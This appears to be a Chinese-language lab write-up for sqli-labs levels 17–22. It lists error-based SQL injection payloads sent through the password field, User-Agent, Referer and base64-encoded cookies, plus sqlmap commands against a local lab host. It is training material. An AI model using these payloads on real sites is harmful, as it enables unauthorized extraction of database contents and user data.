sqli-labs（4）-编程知识

17.

观察页面发现是一个用来更改用户密码的页面，页面中出现了用户Dhakkan

user输入Dhakkan passs输入1发现成功找注入点

先在user尝试，发现不管输入什么都失败在pass中尝试注入

在pass中输入1‘

报错注入

1' and extractvalue(1,concat(0x5c,database()))#
1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

1' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

1' and extractvalue(1,concat(0x5c,(select group_concat(username) from (select username from users)zx)))#
1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)zx),0x7e),1)#

这里的select group_concat(username) from (select username from users)zx

后面的(select username from users)zx代表将select username from users的结果放在zx这个表中目的是为了能在外部查询中引用他

1' and extractvalue(1,concat(0x5c,(select group_oncat(username) from security.users)))#

因为是update的操作使用

1' and extractvalue(1,concat(0x5c,(select group_oncat(username) from security.users)))#

会报错’

sqlmap 这几个post都一样通过bp获取

18.

使用用户Dhakkan密码1

发现返回ua头对ua头进行注入

我们可以看到因为我们注入的ua在（）里面但是通过）#的方法不能成功所以我们在最后要加上‘所以我们使用and '1' ='1来闭合’

' and extractvalue(1,concat(0x5c,database())) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and '1'='1

报错注入返回的内容有限所以可以用limit分别输出 group_concat在这里不能完成输入所有内容

sqlamp

sqlmap -u "http://192.168.1.200:86/Less-18/" --batch --user-agent="1"  --dbs --data="uname=Dhakkan&passwd=1" --level=3 --risk=3

19.

输入Dhakkan和1

这里出现了referer信息，从referer处注入

' and extractvalue(1,concat(0x5c,database())) and'1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and '1'='1

sqlmap

sqlmap -u "http://192.168.1.200:86/Less-19/" --referer="1" --data="uname=Dhakkan&passwd=1" --batch --dbs --level=3 --risk=3

20.

这里显示cookie要有uname参数

' and extractvalue(1,concat(0x5c,database())) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))and '1'='1
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and '1'='1

21.

我们发现还是显示cookie不是通过了base64加密

Dhakkan' and extractvalue(1,concat(0x5c,database())) and '1'='1
RGhha2thbicgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDVjLGRhdGFiYXNlKCkpKSBhbmQgJzEnPScx
Dhakkan'and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
RGhha2thbidhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSBhbmQgJzEnPScx

Dhakkan'and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) and '1'='1
RGhha2thbidhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSkpIGFuZCAnMSc9JzE=
Dhakkan' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
RGhha2thbicgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyksMHg3ZSksMSkgYW5kICcxJz0nMQ==

Dhakkan' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) and '1'='1
RGhha2thbicgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDVjLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSkgYW5kICcxJz0nMQ==
Dhakkan' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1
RGhha2thbicgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

Dhakkan'and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and '1'='1
RGhha2thbidhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gc2VjdXJpdHkudXNlcnMpKSkgYW5kICcxJz0nMQ==
Dhakkan' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and '1'='1
RGhha2thbicgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHNlY3VyaXR5LnVzZXJzKSwweDdlKSwxKSBhbmQgJzEnPScx

22.

这里的单引号换成双引号

Dhakkan" and extractvalue(1,concat(0x5c,database())) and "1"="1
RGhha2thbiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDVjLGRhdGFiYXNlKCkpKSBhbmQgIjEiPSIx
Dhakkan" and updatexml(1,concat(0x7e,database(),0x7e),1)and "1"="1
RGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSlhbmQgIjEiPSIx

Dhakkan"and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) and "1"="1
RGhha2thbiJhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSkpIGFuZCAiMSI9IjE=
Dhakkan"and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and "1"="1
RGhha2thbiJhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSwweDdlKSwxKSBhbmQgIjEiPSIx

Dhakkan"and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) and "1"="1
RGhha2thbiJhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSJzZWN1cml0eSIgYW5kIHRhYmxlX25hbWU9InVzZXJzIikpKSBhbmQgIjEiPSIx
Dhakkan"and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and "1"="1
RGhha2thbiJhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyksMHg3ZSksMSkgYW5kICIxIj0iMQ==

Dhakkan" and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and "1"="1
RGhha2thbiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDVjLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHNlY3VyaXR5LnVzZXJzKSkpIGFuZCAiMSI9IjE=
Dhakkan" and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and "1"="1
RGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHNlY3VyaXR5LnVzZXJzKSwweDdlKSwxKSBhbmQgIjEiPSIx